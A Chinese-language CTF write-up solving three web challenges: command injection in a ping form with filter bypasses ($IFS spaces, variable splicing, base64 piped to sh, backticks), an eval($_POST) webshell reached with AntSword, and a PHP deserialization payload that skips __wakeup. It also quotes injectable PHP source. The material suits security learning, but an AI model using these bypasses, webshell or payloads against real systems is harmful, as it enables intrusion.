1Ping Ping Ping
进入环境提示/?ip=,就传一个?ip=127.0.0.1有回显结果, 这是经典的Linux命令执行,使用命令执行的管道符 “|” 执行ls命令列出文件,可以看到题目中含有index.php和flag.php
直接访问flag.php是没有任何显示的。接着用上一步的类似方法 cat flag.php回显为 fxck your space! 空格被过滤了。然后尝试绕过空格 构造ployld
代码语言:javascript复制/?ip=1|{cat,flag.php}
回显为 fxck your symbol! ,这是,也被过滤了吧…..以 IFS1 的形式也可以代替空格。再次尝试。
代码语言:javascript复制/?ip=1|cat$IFS$1flag.php
这次回显是 fxck your flag! 这是flag也被过滤了…..尝试用相同方式访问index.php
代码语言:javascript复制<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/&|/|?|*|<|[x{00}-x{1f}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
flag.php文件真实过滤了不少东西啊……
代码语言:javascript复制/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
这样就避免了被过滤掉,flag在注释里面。
这个题目还过滤了bash,也提供了一种解决的思路。
代码语言:javascript复制?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
在后面看大佬博客的时候,发现这道题目也可以实现内联执行,使用 `` 代替 | ,将反引号内命令的输出作为输入执行?
代码语言:javascript复制?ip=1;cat$IFS$1`ls`
2 Knife
我家菜刀丢了,你能帮我找一下么eval($_POST[“Syc”]);
提示很明显,有一个菜刀,还有一句话木马也挂上了..需要做的就是把蚁剑连上去就行,flag在最外层目录下面。
3 [极客大挑战 2019]PHP
这个题让我反思,现在一直用的原版的程序他爆破的文件是不是要更新下……我不知道别人是怎么跑出来的www.zip这个压缩文件,我这包里直接没有,可以通过访问www.zip下载到这个网站的备份,里面有个flag.php的文件那个是假的。
在index.php里面有这样一段, 加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化
代码语言:javascript复制<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
反序列化的内容,之前省赛的视频里讲过,不过我确实没怎么学好,查看class.php中的内容,可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求
这时候可以写一个序列化脚本来构造序列化
代码语言:javascript复制<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
在反序列化的时候会首先执行__wakeup()
方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而去执行__destruct
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
O:4:”Name”:3:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}